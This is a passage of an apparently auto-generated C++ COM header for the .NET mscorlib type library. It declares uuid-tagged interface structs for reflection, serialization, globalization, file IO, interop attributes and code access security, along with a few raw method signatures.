__declspec(uuid("322a304d-11ac-3814-a905-a019f6e3dae9")) _AssemblyKeyNameAttribute : IDispatch {}; struct __declspec(uuid("fe52f19a-8aa8-309c-bf99-9d0a566fb76a")) _AssemblyNameProxy : IDispatch {}; struct __declspec(uuid("1660eb67-ee41-363e-beb0-c2de09214abf")) _CustomAttributeFormatException : IDispatch {}; struct __declspec(uuid("f4e5539d-0a65-3073-bf27-8dce8ef1def1")) _CustomAttributeData : IDispatch {}; struct __declspec(uuid("c462b072-fe6e-3bdc-9fab-4cdbfcbcd124")) _DefaultMemberAttribute : IDispatch {}; struct __declspec(uuid("e6df0ae7-ba15-3f80-8afa-27773ae414fc")) _InvalidFilterCriteriaException : IDispatch {}; struct __declspec(uuid("3188878c-deb3-3558-80e8-84e9ed95f92c")) _ManifestResourceInfo : IDispatch {}; struct __declspec(uuid("fae5d9b7-40c1-3de1-be06-a91c9da1ba9f")) _MemberFilter : IDispatch {}; struct __declspec(uuid("0c48f55d-5240-30c7-a8f1-af87a640cefe")) _Missing : IDispatch {}; struct __declspec(uuid("8a5f0da2-7b43-3767-b623-2424cf7cd268")) _ObfuscateAssemblyAttribute : IDispatch {}; struct __declspec(uuid("71fb8dcf-3fa7-3483-8464-9d8200e57c43")) _ObfuscationAttribute : IDispatch {}; struct __declspec(uuid("643a4016-1b16-3ccf-ae86-9c2d9135ecb0")) _ExceptionHandlingClause : IDispatch {}; struct __declspec(uuid("b072efe2-c943-3977-bfd9-91d5232b0d53")) _MethodBody : IDispatch {}; struct __declspec(uuid("f2ecd8ca-91a2-31e8-b808-e028b4f5ca67")) _LocalVariableInfo : IDispatch {}; struct __declspec(uuid("f0deafe9-5eba-3737-9950-c1795739cdcd")) _Pointer : IDispatch {}; struct __declspec(uuid("22c26a41-5fa3-34e3-a76f-ba480252d8ec")) _ReflectionTypeLoadException : IDispatch {}; struct __declspec(uuid("fc4963cb-e52b-32d8-a418-d058fa51a1fa")) _StrongNameKeyPair : IDispatch {}; struct __declspec(uuid("98b1524d-da12-3c4b-8a69-7539a6dec4fa")) _TargetException : IDispatch {}; struct __declspec(uuid("a90106ed-9099-3329-8a5a-2044b3d8552b")) _TargetInvocationException : IDispatch {}; struct __declspec(uuid("6032b3cd-9bed-351c-a145-9d500b0f636f")) _TargetParameterCountException : IDispatch {}; struct __declspec(uuid("34e00ef9-83e2-3bbc-b6af-4cae703838bd")) _TypeDelegator : IDispatch {}; struct __declspec(uuid("e1817846-3745-3c97-b4a6-ee20a1641b29")) _TypeFilter : IDispatch {}; struct __declspec(uuid("3faa35ee-c867-3e2e-bf48-2da271f88303")) _FormatterConverter : IDispatch {}; struct __declspec(uuid("f859954a-78cf-3d00-86ab-ef661e6a4b8d")) _FormatterServices : IDispatch {}; struct __declspec(uuid("feca70d4-ae27-3d94-93dd-a90f02e299d5")) _OptionalFieldAttribute : IDispatch {}; struct __declspec(uuid("9ec28d2c-04c0-35f3-a7ee-0013271ff65e")) _OnSerializingAttribute : IDispatch {}; struct __declspec(uuid("547bf8cd-f2a8-3b41-966d-98db33ded06d")) _OnSerializedAttribute : IDispatch {}; struct __declspec(uuid("f5aef88f-9ac4-320c-95d2-88e863a35762")) _OnDeserializingAttribute : IDispatch {}; struct __declspec(uuid("dd36c803-73d1-338d-88ba-dc9eb7620ef7")) _OnDeserializedAttribute : IDispatch {}; struct __declspec(uuid("450222d0-87ca-3699-a7b4-d8a0fdb72357")) _SerializationBinder : IDispatch {}; struct __declspec(uuid("245fe7fd-e020-3053-b5f6-7467fd2c6883")) _SerializationException : IDispatch {}; struct __declspec(uuid("b58d62cf-b03a-3a14-b0b6-b1e5ad4e4ad5")) _SerializationInfo : IDispatch {}; struct __declspec(uuid("d0eeaa62-3d30-3ee2-b896-a2f34dda47d8")) ISerializable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetObjectData ( /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context ) = 0; }; struct __declspec(uuid("607056c6-1bca-36c8-ab87-33b202ebf0d8")) _SerializationInfoEnumerator : IDispatch {}; struct __declspec(uuid("d9bd3c8d-9395-3657-b6ee-d1b509c38b70")) _Formatter : IDispatch {}; struct __declspec(uuid("a30646cc-f710-3bfa-a356-b4c858d4ed8e")) _ObjectIDGenerator : IDispatch {}; struct __declspec(uuid("f28e7d04-3319-3968-8201-c6e55becd3d4")) _ObjectManager : IDispatch {}; struct __declspec(uuid("6de1230e-1f52-3779-9619-f5184103466c")) _SurrogateSelector : IDispatch {}; struct __declspec(uuid("4cca29e4-584b-3cd0-ad25-855dc5799c16")) _Calendar : IDispatch {}; struct __declspec(uuid("505defe5-aefa-3e23-82b0-d5eb085bb840")) _CompareInfo : IDispatch {}; struct __declspec(uuid("152722c2-f0b1-3d19-ada8-f40ca5caecb8")) _CultureInfo : IDispatch {}; struct __declspec(uuid("ab20bf9e-7549-3226-ba87-c1edfb6cda6c")) _CultureNotFoundException : IDispatch {}; struct __declspec(uuid("015e9f67-337c-398a-a0c1-da4af1905571")) _DateTimeFormatInfo : IDispatch {}; struct __declspec(uuid("efea8feb-ee7f-3e48-8a36-6206a6acbf73")) _DaylightTime : IDispatch {}; struct __declspec(uuid("677ad8b5-8a0e-3c39-92fb-72fb817cf694")) _GregorianCalendar : IDispatch {}; struct __declspec(uuid("96a62d6c-72a9-387a-81fa-e6dd5998caee")) _HebrewCalendar : IDispatch {}; struct __declspec(uuid("28ddc187-56b2-34cf-a078-48bd1e113d1e")) _HijriCalendar : IDispatch {}; struct __declspec(uuid("89e148c4-2424-30ae-80f5-c5d21ea3366c")) _EastAsianLunisolarCalendar : IDispatch {}; struct __declspec(uuid("36e2de92-1fb3-3d7d-ba26-9cad5b98dd52")) _JulianCalendar : IDispatch {}; struct __declspec(uuid("d662ae3f-cef9-38b4-bb8e-5d8dd1dbf806")) _JapaneseCalendar : IDispatch {}; struct __declspec(uuid("48bea6c4-752e-3974-8ca8-cfb6274e2379")) _KoreanCalendar : IDispatch {}; struct __declspec(uuid("f9e97e04-4e1e-368f-b6c6-5e96ce4362d6")) _RegionInfo : IDispatch {}; struct __declspec(uuid("f4c70e15-2ca6-3e90-96ed-92e28491f538")) _SortKey : IDispatch {}; struct __declspec(uuid("0a25141f-51b3-3121-aa30-0af4556a52d9")) _StringInfo : IDispatch {}; struct __declspec(uuid("0c08ed74-0acf-32a9-99df-09a9dc4786dd")) _TaiwanCalendar : IDispatch {}; struct __declspec(uuid("8c248251-3e6c-3151-9f8e-a255fb8d2b12")) _TextElementEnumerator : IDispatch {}; struct __declspec(uuid("db8de23f-f264-39ac-b61c-cc1e7eb4a5e6")) _TextInfo : IDispatch {}; struct __declspec(uuid("c70c8ae8-925b-37ce-8944-34f15ff94307")) _ThaiBuddhistCalendar : IDispatch {}; struct __declspec(uuid("25e47d71-20dd-31be-b261-7ae76497d6b9")) _NumberFormatInfo : IDispatch {}; struct __declspec(uuid("ddedb94d-4f3f-35c1-97c9-3f1d87628d9e")) _Encoding : IDispatch {}; struct __declspec(uuid("8fd56502-8724-3df0-a1b5-9d0e8d4e4f78")) _Encoder : IDispatch {}; struct __declspec(uuid("2adb0d4a-5976-38e4-852b-c131797430f5")) _Decoder : IDispatch {}; struct __declspec(uuid("0cbe0204-12a1-3d40-9d9e-195de6aaa534")) _ASCIIEncoding : IDispatch {}; struct __declspec(uuid("f7dd3b7f-2b05-3894-8eda-59cdf9395b6a")) _UnicodeEncoding : IDispatch {}; struct __declspec(uuid("89b9f00b-aa2a-3a49-91b4-e8d1f1c00e58")) _UTF7Encoding : IDispatch {}; struct __declspec(uuid("010fc1d0-3ef9-3f3b-aa0a-b78a1ff83a37")) _UTF8Encoding : IDispatch {}; struct __declspec(uuid("1a4e1878-fe8c-3f59-b6a9-21ab82be57e9")) _MissingManifestResourceException : IDispatch {}; struct __declspec(uuid("5a8de087-d9d7-3bba-92b4-fe1034a1242f")) _MissingSatelliteAssemblyException : IDispatch {}; struct __declspec(uuid("f48df808-8b7d-3f4e-9159-1dfd60f298d6")) _NeutralResourcesLanguageAttribute : IDispatch {}; struct __declspec(uuid("4de671b7-7c85-37e9-aff8-1222abe4883e")) _ResourceManager : IDispatch {}; struct __declspec(uuid("7fbcfdc7-5cec-3945-8095-daed61be5fb1")) _ResourceReader : IDispatch {}; struct __declspec(uuid("44d5f81a-727c-35ae-8df8-9ff6722f1c6c")) _ResourceSet : IDispatch {}; struct __declspec(uuid("af170258-aac6-3a86-bd34-303e62ced10e")) _ResourceWriter : IDispatch {}; struct __declspec(uuid("5cbb1f47-fba5-33b9-9d4a-57d6e3d133d2")) _SatelliteContractVersionAttribute : IDispatch {}; struct __declspec(uuid("23bae0c0-3a36-32f0-9dad-0e95add67d23")) _Registry : IDispatch {}; struct __declspec(uuid("2eac6733-8d92-31d9-be04-dc467efc3eb1")) _RegistryKey : IDispatch {}; struct __declspec(uuid("99f01720-3cc2-366d-9ab9-50e36647617f")) _AllMembershipCondition : IDispatch {}; struct __declspec(uuid("9ccc831b-1ba7-34be-a966-56d5a6db5aad")) _ApplicationDirectory : IDispatch {}; struct __declspec(uuid("a02a2b22-1dba-3f92-9f84-5563182851bb")) _ApplicationDirectoryMembershipCondition : IDispatch {}; struct __declspec(uuid("18e473f6-637b-3c01-8d46-d011aad26c95")) _ApplicationSecurityInfo : IDispatch {}; struct __declspec(uuid("c664fe09-0a55-316d-b25b-6b3200ecaf70")) _ApplicationSecurityManager : IDispatch {}; struct __declspec(uuid("e66a9755-58e2-3fcb-a265-835851cbf063")) _ApplicationTrust : IDispatch {}; struct __declspec(uuid("bb03c920-1c05-3ecb-982d-53324d5ac9ff")) _ApplicationTrustCollection : IDispatch {}; struct __declspec(uuid("01afd447-60ca-3b67-803a-e57b727f3a5b")) _ApplicationTrustEnumerator : IDispatch {}; struct __declspec(uuid("d7093f61-ed6b-343f-b1e9-02472fcc710e")) _CodeGroup : IDispatch {}; struct __declspec(uuid("a505edbc-380e-3b23-9e1a-0974d4ef02ef")) _Evidence : IDispatch {}; struct __declspec(uuid("35a8f3ac-fe28-360f-a0c0-9a4d50c4682a")) IEvidenceFactory : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Evidence ( /*[out,retval]*/ struct _Evidence * * pRetVal ) = 0; }; struct __declspec(uuid("6844eff4-4f86-3ca1-a1ea-aaf583a6395e")) IMembershipCondition : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Check ( /*[in]*/ struct _Evidence * Evidence, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Copy ( /*[out,retval]*/ struct IMembershipCondition * * pRetVal ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("4e95244e-c6fc-3a86-8db7-1712454de3b6")) IIdentityPermissionFactory : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CreateIdentityPermission ( /*[in]*/ struct _Evidence * Evidence, /*[out,retval]*/ struct IPermission * * pRetVal ) = 0; }; struct __declspec(uuid("dfad74dc-8390-32f6-9612-1bd293b233f4")) _FileCodeGroup : IDispatch {}; struct __declspec(uuid("54b0afb1-e7d3-3770-bb0e-75a95e8d2656")) _FirstMatchCodeGroup : IDispatch {}; struct __declspec(uuid("d89eac5e-0331-3fcd-9c16-4f1ed3fe1be2")) _TrustManagerContext : IDispatch {}; struct __declspec(uuid("427e255d-af02-3b0d-8ce3-a2bb94ba300f")) IApplicationTrustManager : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall DetermineApplicationTrust ( /*[in]*/ IUnknown * activationContext, /*[in]*/ struct _TrustManagerContext * Context, /*[out,retval]*/ struct _ApplicationTrust * * pRetVal ) = 0; }; struct __declspec(uuid("fe8a2546-3478-3fad-be1d-da7bc25c4e4e")) _CodeConnectAccess : IDispatch {}; struct __declspec(uuid("a8f69eca-8c48-3b5e-92a1-654925058059")) _NetCodeGroup : IDispatch {}; struct __declspec(uuid("34b0417e-e71d-304c-9fac-689350a1b41c")) _PermissionRequestEvidence : IDispatch {}; struct __declspec(uuid("a9c9f3d9-e153-39b8-a533-b8df4664407b")) _PolicyException : IDispatch {}; struct __declspec(uuid("44494e35-c370-3014-bc78-0f2ecbf83f53")) _PolicyLevel : IDispatch {}; struct __declspec(uuid("3eefd1fc-4d8d-3177-99f6-6c19d9e088d3")) _PolicyStatement : IDispatch {}; struct __declspec(uuid("90c40b4c-b0d0-30f5-b520-fdba97bc31a0")) _Site : IDispatch {}; struct __declspec(uuid("0a7c3542-8031-3593-872c-78d85d7cc273")) _SiteMembershipCondition : IDispatch {}; struct __declspec(uuid("2a75c1fd-06b0-3cbb-b467-2545d4d6c865")) _StrongName : IDispatch {}; struct __declspec(uuid("579e93bc-ffab-3b8d-9181-ce9c22b51915")) _StrongNameMembershipCondition : IDispatch {}; struct __declspec(uuid("d9d822de-44e5-33ce-a43f-173e475cecb1")) _UnionCodeGroup : IDispatch {}; struct __declspec(uuid("d94ed9bf-c065-3703-81a2-2f76ea8e312f")) _Url : IDispatch {}; struct __declspec(uuid("bb7a158d-dbd9-3e13-b137-8e61e87e1128")) _UrlMembershipCondition : IDispatch {}; struct __declspec(uuid("742e0c26-0e23-3d20-968c-d221094909aa")) _Zone : IDispatch {}; struct __declspec(uuid("adbc3463-0101-3429-a06c-db2f1dd6b724")) _ZoneMembershipCondition : IDispatch {}; struct __declspec(uuid("a7aef52c-b47b-3660-bb3e-34347d56db46")) _GacInstalled : IDispatch {}; struct __declspec(uuid("b2217ab5-6e55-3ff6-a1a9-1b0dc0585040")) _GacMembershipCondition : IDispatch {}; struct __declspec(uuid("7574e121-74a6-3626-b578-0783badb19d2")) _Hash : IDispatch {}; struct __declspec(uuid("6ba6ea7a-c9fc-3e73-82ec-18f29d83eefd")) _HashMembershipCondition : IDispatch {}; struct __declspec(uuid("77cca693-abf6-3773-bf58-c0b02701a744")) _Publisher : IDispatch {}; struct __declspec(uuid("3515cf63-9863-3044-b3e1-210e98efc702")) _PublisherMembershipCondition : IDispatch {}; struct __declspec(uuid("42ca6b3f-8cb9-3005-a7c1-ee9021db369b")) _ClaimsIdentity : IDispatch {}; struct __declspec(uuid("9a37d8b2-2256-3fe3-8bf0-4fc421a1244f")) _GenericIdentity : IDispatch {}; struct __declspec(uuid("d26a9704-bf99-3a3f-ac55-96af1a314c7f")) _ClaimsPrincipal : IDispatch {}; struct __declspec(uuid("b4701c26-1509-3726-b2e1-409a636c9b4f")) _GenericPrincipal : IDispatch {}; struct __declspec(uuid("d8cf3f23-1a66-3344-8230-07eb53970b85")) _WindowsIdentity : IDispatch {}; struct __declspec(uuid("60ecfdda-650a-324c-b4b3-f4d75b563bb1")) _WindowsImpersonationContext : IDispatch {}; struct __declspec(uuid("6c42baf9-1893-34fc-b3af-06931e9b34a3")) _WindowsPrincipal : IDispatch {}; struct __declspec(uuid("1b6ed26a-4b7f-34fc-b2c8-8109d684b3df")) _UnmanagedFunctionPointerAttribute : IDispatch {}; struct __declspec(uuid("bbe41ac5-8692-3427-9ae1-c1058a38d492")) _DispIdAttribute : IDispatch {}; struct __declspec(uuid("a2145f38-cac1-33dd-a318-21948af6825d")) _InterfaceTypeAttribute : IDispatch {}; struct __declspec(uuid("0c1e7b57-b9b1-36e4-8396-549c29062a81")) _ComDefaultInterfaceAttribute : IDispatch {}; struct __declspec(uuid("6b6391ee-842f-3e9a-8eee-f13325e10996")) _ClassInterfaceAttribute : IDispatch {}; struct __declspec(uuid("1e7fffe2-aad9-34ee-8a9f-3c016b880ff0")) _ComVisibleAttribute : IDispatch {}; struct __declspec(uuid("288a86d1-6f4f-39c9-9e42-162cf1c37226")) _TypeLibImportClassAttribute : IDispatch {}; struct __declspec(uuid("4ab67927-3c86-328a-8186-f85357dd5527")) _LCIDConversionAttribute : IDispatch {}; struct __declspec(uuid("51ba926f-aab5-3945-b8a6-c8f0f4a7d12b")) _ComRegisterFunctionAttribute : IDispatch {}; struct __declspec(uuid("9f164188-34eb-3f86-9f74-0bbe4155e65e")) _ComUnregisterFunctionAttribute : IDispatch {}; struct __declspec(uuid("2b9f01df-5a12-3688-98d6-c34bf5ed1865")) _ProgIdAttribute : IDispatch {}; struct __declspec(uuid("3f3311ce-6baf-3fb0-b855-489aff740b6e")) _ImportedFromTypeLibAttribute : IDispatch {}; struct __declspec(uuid("5778e7c7-2040-330e-b47a-92974dffcfd4")) _IDispatchImplAttribute : IDispatch {}; struct __declspec(uuid("e1984175-55f5-3065-82d8-a683fdfcf0ac")) _ComSourceInterfacesAttribute : IDispatch {}; struct __declspec(uuid("fd5b6aac-ff8c-3472-b894-cd6dfadb6939")) _ComConversionLossAttribute : IDispatch {}; struct __declspec(uuid("b5a1729e-b721-3121-a838-fde43af13468")) _TypeLibTypeAttribute : IDispatch {}; struct __declspec(uuid("3d18a8e2-eede-3139-b29d-8cac057955df")) _TypeLibFuncAttribute : IDispatch {}; struct __declspec(uuid("7b89862a-02a4-3279-8b42-4095fa3a778e")) _TypeLibVarAttribute : IDispatch {}; struct __declspec(uuid("d858399f-e19e-3423-a720-ac12abe2e5e8")) _MarshalAsAttribute : IDispatch {}; struct __declspec(uuid("1b093056-5454-386f-8971-bbcbc4e9a8f3")) _ComImportAttribute : IDispatch {}; struct __declspec(uuid("74435dad-ec55-354b-8f5b-fa70d13b6293")) _GuidAttribute : IDispatch {}; struct __declspec(uuid("fdf2a2ee-c882-3198-a48b-e37f0e574dfa")) _PreserveSigAttribute : IDispatch {}; struct __declspec(uuid("8474b65c-c39a-3d05-893d-577b9a314615")) _InAttribute : IDispatch {}; struct __declspec(uuid("0697fc8c-9b04-3783-95c7-45eccac1ca27")) _OutAttribute : IDispatch {}; struct __declspec(uuid("0d6bd9ad-198e-3904-ad99-f6f82a2787c4")) _OptionalAttribute : IDispatch {}; struct __declspec(uuid("a1a26181-d55e-3ee2-96e6-70b354ef9371")) _DllImportAttribute : IDispatch {}; struct __declspec(uuid("23753322-c7b3-3f9a-ac96-52672c1b1ca9")) _StructLayoutAttribute : IDispatch {}; struct __declspec(uuid("c14342b8-bafd-322a-bb71-62c672da284e")) _FieldOffsetAttribute : IDispatch {}; struct __declspec(uuid("e78785c4-3a73-3c15-9390-618bf3a14719")) _ComAliasNameAttribute : IDispatch {}; struct __declspec(uuid("57b908a8-c082-3581-8a47-6b41b86e8fdc")) _AutomationProxyAttribute : IDispatch {}; struct __declspec(uuid("c69e96b2-6161-3621-b165-5805198c6b8d")) _PrimaryInteropAssemblyAttribute : IDispatch {}; struct __declspec(uuid("15d54c00-7c95-38d7-b859-e19346677dcd")) _CoClassAttribute : IDispatch {}; struct __declspec(uuid("76cc0491-9a10-35c0-8a66-7931ec345b7f")) _ComEventInterfaceAttribute : IDispatch {}; struct __declspec(uuid("a03b61a4-ca61-3460-8232-2f4ec96aa88f")) _TypeLibVersionAttribute : IDispatch {}; struct __declspec(uuid("ad419379-2ac8-3588-ab1e-0115413277c4")) _ComCompatibleVersionAttribute : IDispatch {}; struct __declspec(uuid("ed47abe7-c84b-39f9-be1b-828cfb925afe")) _BestFitMappingAttribute : IDispatch {}; struct __declspec(uuid("b26b3465-28e4-33b5-b9bf-dd7c4f6461f5")) _DefaultCharSetAttribute : IDispatch {}; struct __declspec(uuid("a54ac093-bfce-37b0-a81f-148dfed0971f")) _SetWin32ContextInIDispatchAttribute : IDispatch {}; struct __declspec(uuid("a83f04e9-fd28-384a-9dff-410688ac23ab")) _ExternalException : IDispatch {}; struct __declspec(uuid("a28c19df-b488-34ae-becc-7de744d17f7b")) _COMException : IDispatch {}; struct __declspec(uuid("76e5dbd6-f960-3c65-8ea6-fc8ad6a67022")) _InvalidOleVariantTypeException : IDispatch {}; struct __declspec(uuid("523f42a5-1fd2-355d-82bf-0d67c4a0a0e7")) _MarshalDirectiveException : IDispatch {}; struct __declspec(uuid("edcee21a-3e3a-331e-a86d-274028be6716")) _RuntimeEnvironment : IDispatch {}; struct __declspec(uuid("3e72e067-4c5e-36c8-bbef-1e2978c7780d")) _SEHException : IDispatch {}; struct __declspec(uuid("80da5818-609f-32b8-a9f8-95fcfbdb9c8e")) _BStrWrapper : IDispatch {}; struct __declspec(uuid("7df6f279-da62-3c9f-8944-4dd3c0f08170")) _CurrencyWrapper : IDispatch {}; struct __declspec(uuid("72103c67-d511-329c-b19a-dd5ec3f1206c")) _DispatchWrapper : IDispatch {}; struct __declspec(uuid("f79db336-06be-3959-a5ab-58b2ab6c5fd1")) _ErrorWrapper : IDispatch {}; struct __declspec(uuid("519eb857-7a2d-3a95-a2a3-8bb8ed63d41b")) _ExtensibleClassFactory : IDispatch {}; struct __declspec(uuid("de9156b5-5e7a-3041-bf45-a29a6c2cf48a")) _InvalidComObjectException : IDispatch {}; struct __declspec(uuid("e4a369d3-6cf0-3b05-9c0c-1a91e331641a")) _ObjectCreationDelegate : IDispatch {}; struct __declspec(uuid("8608fe7b-2fdc-318a-b711-6f7b2feded06")) _SafeArrayRankMismatchException : IDispatch {}; struct __declspec(uuid("e093fb32-e43b-3b3f-a163-742c920c2af3")) _SafeArrayTypeMismatchException : IDispatch {}; struct __declspec(uuid("1c8d8b14-4589-3dca-8e0f-a30e80fbd1a8")) _UnknownWrapper : IDispatch {}; struct __declspec(uuid("556137ea-8825-30bc-9d49-e47a9db034ee")) _TextWriter : IDispatch {}; struct __declspec(uuid("2752364a-924f-3603-8f6f-6586df98b292")) _Stream : IDispatch {}; struct __declspec(uuid("9be679a6-61fd-38fc-a7b2-89982d33338b")) IServerResponseChannelSinkStack : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall AsyncProcessResponse ( /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[in]*/ struct _Stream * Stream ) = 0; virtual HRESULT __stdcall GetResponseStream ( /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[out,retval]*/ struct _Stream * * pRetVal ) = 0; }; struct __declspec(uuid("442e3c03-a205-3f21-aa4d-31768bb8ea28")) _BinaryReader : IDispatch {}; struct __declspec(uuid("4ca8147e-baa3-3a7f-92ce-a4fd7f17d8da")) _BinaryWriter : IDispatch {}; struct __declspec(uuid("4b7571c3-1275-3457-8fee-9976fd3937e3")) _BufferedStream : IDispatch {}; struct __declspec(uuid("8ce58ff5-f26d-38a4-9195-0e2ecb3b56b9")) _Directory : IDispatch {}; struct __declspec(uuid("a5d29a57-36a8-3e36-a099-7458b1fabaa2")) _FileSystemInfo : IDispatch {}; struct __declspec(uuid("487e52f1-2bb9-3bd0-a0ca-6728b3a1d051")) _DirectoryInfo : IDispatch {}; struct __declspec(uuid("c5bfc9bf-27a7-3a59-a986-44c85f3521bf")) _IOException : IDispatch {}; struct __declspec(uuid("c8a200e4-9735-30e4-b168-ed861a3020f2")) _DirectoryNotFoundException : IDispatch {}; struct __declspec(uuid("ce83a763-940f-341f-b880-332325eb6f4b")) _DriveInfo : IDispatch {}; struct __declspec(uuid("b24e9559-a662-3762-ae33-bc7dfdd538f4")) _DriveNotFoundException : IDispatch {}; struct __declspec(uuid("d625afd0-8fd9-3113-a900-43912a54c421")) _EndOfStreamException : IDispatch {}; struct __declspec(uuid("5d59051f-e19d-329a-9962-fd00d552e13d")) _File : IDispatch {}; struct __declspec(uuid("c3c429f9-8590-3a01-b2b2-434837f3d16d")) _FileInfo : IDispatch {}; struct __declspec(uuid("51d2c393-9b70-3551-84b5-ff5409fb3ada")) _FileLoadException : IDispatch {}; struct __declspec(uuid("a15a976b-81e3-3ef4-8ff1-d75ddbe20aef")) _FileNotFoundException : IDispatch {}; struct __declspec(uuid("74265195-4a46-3d6f-a9dd-69c367ea39c8")) _FileStream : IDispatch {}; struct __declspec(uuid("2dbc46fe-b3dd-3858-afc2-d3a2d492a588")) _MemoryStream : IDispatch {}; struct __declspec(uuid("6df93530-d276-31d9-8573-346778c650af")) _Path : IDispatch {}; struct __declspec(uuid("468b8eb4-89ac-381b-8f86-5e47ec0648b4")) _PathTooLongException : IDispatch {}; struct __declspec(uuid("897471f2-9450-3f03-a41f-d2e1f1397854")) _TextReader : IDispatch {}; struct __declspec(uuid("e645b470-dc3f-3ce0-8104-5837feda04b3")) _StreamReader : IDispatch {}; struct __declspec(uuid("1f124e1c-d05d-3643-a59f-c3de6051994f")) _StreamWriter : IDispatch {}; struct __declspec(uuid("59733b03-0ea5-358c-95b5-659fcd9aa0b4")) _StringReader : IDispatch {}; struct __declspec(uuid("cb9f94c0-d691-3b62-b0b2-3ce5309cfa62")) _StringWriter : IDispatch {}; struct __declspec(uuid("998dcf16-f603-355d-8c89-3b675947997f")) _AccessedThroughPropertyAttribute : IDispatch {}; struct __declspec(uuid("a6c2239b-08e6-3822-9769-e3d4b0431b82")) _CallConvCdecl : IDispatch {}; struct __declspec(uuid("8e17a5cd-1160-32dc-8548-407e7c3827c9")) _CallConvStdcall : IDispatch {}; struct __declspec(uuid("fa73dd3d-a472-35ed-b8be-f99a13581f72")) _CallConvThiscall : IDispatch {}; struct __declspec(uuid("3b452d17-3c5e-36c4-a12d-5e9276036cf8")) _CallConvFastcall : IDispatch {}; struct __declspec(uuid("62caf4a2-6a78-3fc7-af81-a6bbf930761f")) _CustomConstantAttribute : IDispatch {}; struct __declspec(uuid("ef387020-b664-3acd-a1d2-806345845953")) _DateTimeConstantAttribute : IDispatch {}; struct __declspec(uuid("3c3a8c69-7417-32fa-aa20-762d85e1b594")) _DiscardableAttribute : IDispatch {}; struct __declspec(uuid("7e133967-ccec-3e89-8bd2-6cfca649ecbf")) _DecimalConstantAttribute : IDispatch {}; struct __declspec(uuid("c5c4f625-2329-3382-8994-aaf561e5dfe9")) _CompilationRelaxationsAttribute : IDispatch {}; struct __declspec(uuid("1eed213e-656a-3a73-a4b9-0d3b26fd942b")) _CompilerGlobalScopeAttribute : IDispatch {}; struct __declspec(uuid("243368f5-67c9-3510-9424-335a8a67772f")) _IndexerNameAttribute : IDispatch {}; struct __declspec(uuid("0278c819-0c06-3756-b053-601a3e566d9b")) _IsVolatile : IDispatch {}; struct __declspec(uuid("98966503-5d80-3242-83ef-79e136f6b954")) _MethodImplAttribute : IDispatch {}; struct __declspec(uuid("db2c11d9-3870-35e7-a10c-a3ddc3dc79b1")) _RequiredAttributeAttribute : IDispatch {}; struct __declspec(uuid("f68a4008-ab94-3370-a9ac-8cc99939f534")) _IsCopyConstructed : IDispatch {}; struct __declspec(uuid("40e8e914-dc23-38a6-936b-90e4e3ab01fa")) _NativeCppClassAttribute : IDispatch {}; struct __declspec(uuid("97d0b28a-6932-3d74-b67f-6bcd3c921e7d")) _IDispatchConstantAttribute : IDispatch {}; struct __declspec(uuid("54542649-ce64-3f96-bce5-fde3bb22f242")) _IUnknownConstantAttribute : IDispatch {}; struct __declspec(uuid("8d597c42-2cfd-32b6-b6d6-86c9e2cff00a")) _SecurityElement : IDispatch {}; struct __declspec(uuid("fd46bde5-acdf-3ca5-b189-f0678387077f")) ISecurityEncodable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ToXml ( /*[out,retval]*/ struct _SecurityElement * * pRetVal ) = 0; virtual HRESULT __stdcall FromXml ( /*[in]*/ struct _SecurityElement * e ) = 0; }; struct __declspec(uuid("e6c21ba7-21bb-34e9-8e57-db66d8ce4a70")) ISecurityPolicyEncodable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ToXml ( /*[in]*/ struct _PolicyLevel * level, /*[out,retval]*/ struct _SecurityElement * * pRetVal ) = 0; virtual HRESULT __stdcall FromXml ( /*[in]*/ struct _SecurityElement * e, /*[in]*/ struct _PolicyLevel * level ) = 0; }; struct __declspec(uuid("d9fcad88-d869-3788-a802-1b1e007c7a22")) _XmlSyntaxException : IDispatch {}; struct __declspec(uuid("4803ce39-2f30-31fc-b84b-5a0141385269")) _CodeAccessPermission : IDispatch {}; struct __declspec(uuid("0720590d-5218-352a-a337-5449e6bd19da")) _EnvironmentPermission : IDispatch {}; struct __declspec(uuid("a8b7138c-8932-3d78-a585-a91569c743ac")) _FileDialogPermission : IDispatch {}; struct __declspec(uuid("a2ed7efc-8e59-3ccc-ae92-ea2377f4d5ef")) _FileIOPermission : IDispatch {}; struct __declspec(uuid("48815668-6c27-3312-803e-2757f55ce96a")) _SecurityAttribute : IDispatch {}; struct __declspec(uuid("9c5149cb-d3c6-32fd-a0d5-95350de7b813")) _CodeAccessSecurityAttribute : IDispatch {}; struct __declspec(uuid("9f8f73a3-1e99-3e51-a41b-179a41dc747c")) _HostProtectionAttribute : IDispatch {}; struct __declspec(uuid("7fee7903-f97c-3350-ad42-196b00ad2564")) _IsolatedStoragePermission : IDispatch {}; struct __declspec(uuid("0d0c83e8-bde1-3ba5-b1ef-a8fc686d8bc9")) _IsolatedStorageFilePermission : IDispatch {}; struct __declspec(uuid("4164071a-ed12-3bdd-af40-fdabcaa77d5f")) _EnvironmentPermissionAttribute : IDispatch {}; struct __declspec(uuid("0ccca629-440f-313e-96cd-ba1b4b4997f7")) _FileDialogPermissionAttribute : IDispatch {}; struct __declspec(uuid("0dca817d-f21a-3943-b54c-5e800ce5bc50")) _FileIOPermissionAttribute : IDispatch {}; struct __declspec(uuid("edb51d1c-08ad-346a-be6f-d74fd6d6f965")) _KeyContainerPermissionAttribute : IDispatch {}; struct __declspec(uuid("68ab69e4-5d68-3b51-b74d-1beab9f37f2b")) _PrincipalPermissionAttribute : IDispatch {}; struct __declspec(uuid("d31eed10-a5f0-308f-a951-e557961ec568")) _ReflectionPermissionAttribute : IDispatch {}; 